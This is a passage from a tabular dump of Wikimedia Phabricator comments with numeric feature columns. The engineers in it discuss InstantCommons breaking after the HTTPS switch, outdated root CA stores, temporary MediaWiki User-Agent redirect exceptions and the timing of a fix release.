Finally, this is not even end-users, these are users *running MediaWiki*. To draw a comparison, the CA has been in operating systems' CA stores since the time PHP 4 was new and was all the rage :)  Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)",,,1434751553,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,2.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,4.333333333333333,1.6666666666666667,0.0,0.0,0.0,3.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,8.666666666666666,9.0,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,5.666666666666667,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,14.0,1.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,4.666666666666667,12.333333333333334,1.3333333333333333,3.3333333333333335,9.0,0.0,0.6666666666666666,0.3333333333333333,0.0,3.0,0.0,2.6666666666666665,0.0,3.3333333333333335,9.0,8.666666666666666,0.3333333333333333,1.0,0.0,3.3333333333333335,0.0,1.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,0.0,1.6666666666666667,0.3333333333333333,3.917769454848107,0.7395755305867665,"Our CA for production is GlobalSign. It is one of the big (in terms of websites using it) and oldest CAs. The top-most root certificate of our chain was issued in 1998 and has been in operating systems and browsers for at least 15 years now. GlobalSign has [[ URL | a datasheet ]] detailing their compatibility (ignore the first ""Extended Validation"" section; we don't use that). The compatibility includes browsers such as MSIE 5.01+, all versions ever released of Firefox, Google Chrome and Safari (not to mention Netscape Communicator 4.51+!) plus all versions of mobile phone browsers ever since Windows CE 4.0. I would very much like to hear in which CA stores is this actually a problem and for how many users.

Moreover, a CA store that is so old probably has at least a few compromised CAs (e.g. DigiNotar) and those users should definitely take a course in system administration or consult their sysadmin.

Finally, this is not even end-users, these are users *running MediaWiki*. To draw a comparison, the CA has been in operating systems' CA stores since the time PHP 4 was new and was all the rage :)  Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)"
478206,InstantCommons broken by switch to HTTPS,"> Just tell people to trust their OS' CA store, anything else is just insecure.

Telling people to trust their built-in CA store when it does not work with Commons is not exactly helpful. I agree we shouldn't mess with the root CA list by default, but we need a drop-in fix for people who are on old/weird OSes and want to get InstantCommons working without taking a course in system administration. Manually changing the root CAs of your OS can be quite difficult.",,,1434741455,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,9.0,15.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,5.0,4.0,13.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,15.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.9390243902439024,0.8292682926829268,"QUOTE

Telling people to trust their built-in CA store when it does not work with Commons is not exactly helpful. I agree we shouldn't mess with the root CA list by default, but we need a drop-in fix for people who are on old/weird OSes and want to get InstantCommons working without taking a course in system administration. Manually changing the root CAs of your OS can be quite difficult."
477982,InstantCommons broken by switch to HTTPS,">>! In T102566#1381359, @Bawolff wrote:
> Alternatively, we could bundle https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt (or even just GlobalSign) and set caInfo option of our HTTP wrapper ourselves.

No, don't do that. Maintaining a CA store is serious business and we don't to be in that business (even in a role of republishing another person's CA store). Just tell people to trust their OS' CA store, anything else is just insecure.",,,1434722497,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,2.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,3.0,10.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,16.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,9.0,5.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5517241379310347,0.7068965517241379,"QUOTE
QUOTE

No, don't do that. Maintaining a CA store is serious business and we don't to be in that business (even in a role of republishing another person's CA store). Just tell people to trust their OS' CA store, anything else is just insecure."
477834,InstantCommons broken by switch to HTTPS,"Alternatively, we could bundle https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt (or even just GlobalSign) and set caInfo option of our HTTP wrapper ourselves.",,,1434695586,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,9.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,"Alternatively, we could bundle URL (or even just GlobalSign) and set caInfo option of our HTTP wrapper ourselves."
477832,InstantCommons broken by switch to HTTPS,"PHP on windows is probably a likely offender.

Anyways, php has a config option to point to a root CA store (assuming you are using libcurl, which we normally due if that's available), so its fairly easy to just tell people to download the new root CA store and/or upgrade php.",,,1434694180,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,3.0,7.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,3.8,0.8,"PHP on windows is probably a likely offender.

Anyways, php has a config option to point to a root CA store (assuming you are using libcurl, which we normally due if that's available), so its fairly easy to just tell people to download the new root CA store and/or upgrade php."
477810,InstantCommons broken by switch to HTTPS,"Yeah, I don't know that we can do anything about the ""old certs"" issue.  It probably means that whatever underlying SSL cert-store/client-lib the client uses is severely out of date.  I think we had some talk on this earlier (maybe just on irc), that it mostly affected some older Windows installations?  In any case, the root cert we use is compatible a cross a broad range of browsers and SSL library/cert installations in general, even back to things like IE8 on WinXP (technically IE6 even in cert terms, but that's broken due to SSLv3).  I think it's fair to blame the client end and ask them to fix/upgrade if they don't have the GlobalSign root at this point.",,,1434684058,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1.5,0.5,0.0,0.0,1.0,3.5,1.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,3.5,0.5,7.0,12.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,6.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.5,1.0,0.0,0.5,0.0,0.0,1.5,15.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,4.0,1.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,6.5,12.5,4.5,0.5,1.0,0.0,6.5,0.0,0.5,1.5,0.5,0.5,1.0,0.0,0.0,3.611842105263158,0.7960526315789473,"Yeah, I don't know that we can do anything about the ""old certs"" issue.  It probably means that whatever underlying SSL cert-store/client-lib the client uses is severely out of date.  I think we had some talk on this earlier (maybe just on irc), that it mostly affected some older Windows installations?  In any case, the root cert we use is compatible a cross a broad range of browsers and SSL library/cert installations in general, even back to things like IE8 on WinXP (technically IE6 even in cert terms, but that's broken due to SSLv3).  I think it's fair to blame the client end and ask them to fix/upgrade if they don't have the GlobalSign root at this point."
477793,InstantCommons broken by switch to HTTPS,"HTTPS redirect for upload.wikimedia.org breaks images for some people who have old root certs - just got a report on IRC. (Strangely, disabling the thumbnail cache did not fix this.) Made worse by lack of logging - T103043",,,1434678793,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.3023255813953485,0.9302325581395349,"HTTPS redirect for upload.wikimedia.org breaks images for some people who have old root certs - just got a report on IRC. (Strangely, disabling the thumbnail cache did not fix this.) Made worse by lack of logging - T103043"
476940,InstantCommons broken by switch to HTTPS,"Change 219094 merged by BBlack:
HTTPS: remove MW-UA redirect exception for upload.wm.o

[[https://gerrit.wikimedia.org/r/219094]]",,,1434590340,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.8695652173913043,"Change 219094 merged by BBlack:
HTTPS: remove MW-UA redirect exception for upload.wm.o

[[GERRIT_URL]]"
476873,InstantCommons broken by switch to HTTPS,"Change 219094 had a related patch set uploaded (by BBlack):
HTTPS: remove MW-UA redirect exception for upload.wm.o

[[https://gerrit.wikimedia.org/r/219094]]
",,,1434583442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8666666666666667,0.9,"Change 219094 had a related patch set uploaded (by BBlack):
HTTPS: remove MW-UA redirect exception for upload.wm.o

[[GERRIT_URL]]
"
476664,InstantCommons broken by switch to HTTPS,"Change 218819 merged by jenkins-bot:
Make $wgUploadPath for commons https only for benefit instant commons

[[https://gerrit.wikimedia.org/r/218819]]",,,1434566750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8461538461538461,"Change 218819 merged by jenkins-bot:
Make $wgUploadPath for commons https only for benefit instant commons

[[GERRIT_URL]]"
476121,InstantCommons broken by switch to HTTPS,">>! In T102566#1372767, @gerritbot wrote:
> Change 218819 had a related patch set uploaded (by Brian Wolff):
> Make $wgUploadPath for commons https only for benefit instant commons
> 
> [[https://gerrit.wikimedia.org/r/218819]]

This patch just changes wgUploadPath, which would allow upload.wikimedia.org to be transitioned. Even with this patch, the larger issue with commons remains.",,,1434519206,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.638888888888889,0.6944444444444444,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This patch just changes wgUploadPath, which would allow upload.wikimedia.org to be transitioned. Even with this patch, the larger issue with commons remains."
476119,InstantCommons broken by switch to HTTPS,"Change 218819 had a related patch set uploaded (by Brian Wolff):
Make $wgUploadPath for commons https only for benefit instant commons

[[https://gerrit.wikimedia.org/r/218819]]
",,,1434519135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.125,0.84375,"Change 218819 had a related patch set uploaded (by Brian Wolff):
Make $wgUploadPath for commons https only for benefit instant commons

[[GERRIT_URL]]
"
476118,InstantCommons broken by switch to HTTPS,"> 
> Not a bad idea. I'm not entirely convinced this change needs a release (although it should be ported to all supported branches)...just very wide announcement and the promise that the next release(s) will contain the fix automatically.
> 
I strongly feel that we should have fixed versions of MediaWiki out before removing the user-agent exception. If we don't want this to trigger a release, then the exception for the MediaWiki user-agent should stay in place until after whenever the next release goes out.
",,,1434518780,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,18.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,18.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.083333333333333,0.7,"QUOTE
QUOTE
QUOTE
I strongly feel that we should have fixed versions of MediaWiki out before removing the user-agent exception. If we don't want this to trigger a release, then the exception for the MediaWiki user-agent should stay in place until after whenever the next release goes out.
"
476115,InstantCommons broken by switch to HTTPS,"For upload.wikimedia.org. I believe you can remove the exception provided that $wgUploadPath has https specificly in the url (Not protocol relative like it is currently. The feature should use the url and thumburl parameter from the api, which should follow the $wgUploadPath variable).


We should probably have some announcement of this behaviour change too. Some wikis do the same thing as instantcommons, but for enwikipedia (if they want Fair use images). That's not an as ""officially"" supported config, so its fine we're breaking it, but it may be good to post something about it on mediawiki-announce.",,,1434517470,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1.5,1.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,5.5,9.0,1.0,1.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,5.0,0.5,4.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.5,1.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.5,5.0,1.5,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.0,9.0,4.0,0.0,1.5,0.0,7.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,4.315112994350282,0.8320621468926553,"For upload.wikimedia.org. I believe you can remove the exception provided that $wgUploadPath has https specificly in the url (Not protocol relative like it is currently. The feature should use the url and thumburl parameter from the api, which should follow the $wgUploadPath variable).


We should probably have some announcement of this behaviour change too. Some wikis do the same thing as instantcommons, but for enwikipedia (if they want Fair use images). That's not an as ""officially"" supported config, so its fine we're breaking it, but it may be good to post something about it on mediawiki-announce."
476106,InstantCommons broken by switch to HTTPS,">>! In T102566#1371839, @Krenair wrote:
> @greg, @demon: should we have something on mediawiki-announce about this?

Not a bad idea. I'm not entirely convinced this change needs a release (although it should be ported to all supported branches)...just very wide announcement and the promise that the next release(s) will contain the fix automatically.

>>! In T102566#1371535, @BBlack wrote:
> Can we get an idea on what a ""reasonable"" timeframe is to let users pick up the necessary changes?

Once the patch has landed in all branches and an announcement goes out...like 2-3 weeks so people can't say we didn't warn them? :)",,,1434510876,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,2.0,1.0,5.0,4.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,7.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,1.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,8.0,1.0,8.0,4.0,2.0,12.0,0.0,1.0,0.0,0.0,5.0,1.0,2.0,0.0,5.0,7.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,3.9761904761904763,0.8095238095238095,"QUOTE
QUOTE

Not a bad idea. I'm not entirely convinced this change needs a release (although it should be ported to all supported branches)...just very wide announcement and the promise that the next release(s) will contain the fix automatically.

QUOTE
QUOTE

Once the patch has landed in all branches and an announcement goes out...like 2-3 weeks so people can't say we didn't warn them? :)"
475965,InstantCommons broken by switch to HTTPS,"@faidon @bblack do we have any system to track usage of the VCL rule exemption [[https://gerrit.wikimedia.org/r/#/c/218594/2/modules/varnish/templates/vcl/wikimedia.vcl.erb,unified | gerrit 21894 ]]? Would be great to see the hits of user agents directly hitting http://  and would let us remove it eventually.",,,1434489733,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,4.066666666666666,0.8888888888888888,SCREEN_NAMESCREEN_NAME do we have any system to track usage of the VCL rule exemption [[URL | gerrit 21894 ]]? Would be great to see the hits of user agents directly hitting http://  and would let us remove it eventually.
475962,InstantCommons broken by switch to HTTPS,"Apparently ForeignAPIRepo does not follow redirects, on purposes since it can be a vector of attack.

#releng I guess we want to release some new minor versions of MediaWiki since the $wgForeignFileRepos entry can't be trivially fixed via LocalSettings.php.",,,1434489479,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,2.0,4.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,15.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.782608695652174,0.9130434782608695,"Apparently ForeignAPIRepo does not follow redirects, on purposes since it can be a vector of attack.

#releng I guess we want to release some new minor versions of MediaWiki since the $wgForeignFileRepos entry can't be trivially fixed via LocalSettings.php."
475933,InstantCommons broken by switch to HTTPS,"@greg, @demon: should we have something on mediawiki-announce about this?",,,1434488149,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9333333333333333,"SCREEN_NAME,SCREEN_NAME: should we have something on mediawiki-announce about this?"
475871,InstantCommons broken by switch to HTTPS,"The commit ref'd above was merged: we've switched everything now, but left temporary exceptions for the User-Agent regex `^MediaWiki/` for the commons, upload, and meta sites.  For various security and cleanliness reasons, we'd like to remove those exceptions ASAP.  Can we get an idea on what a ""reasonable"" timeframe is to let users pick up the necessary changes?",,,1434485331,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,1.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,9.0,3.0,1.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.04054054054054,0.8108108108108109,"The commit ref'd above was merged: we've switched everything now, but left temporary exceptions for the User-Agent regex CODE for the commons, upload, and meta sites.  For various security and cleanliness reasons, we'd like to remove those exceptions ASAP.  Can we get an idea on what a ""reasonable"" timeframe is to let users pick up the necessary changes?"
475635,InstantCommons broken by switch to HTTPS,"Good to hear! That's the plan for upload — see @bblack's commit (still under review): https://gerrit.wikimedia.org/r/#/c/218623/2

Note that this User-Agent ""fix"" is really a workaround and will need to be corrected in the future. Suggestions on how long to wait for third-party users to fix their installation (and how to communicate the upcoming breakage) are very much welcome (adding #Release-Engineering to the loop).",,,1434470000,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,1.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,11.0,4.0,2.0,8.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,14.0,4.0,0.0,2.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9156626506024095,0.7590361445783133,"Good to hear! That's the plan 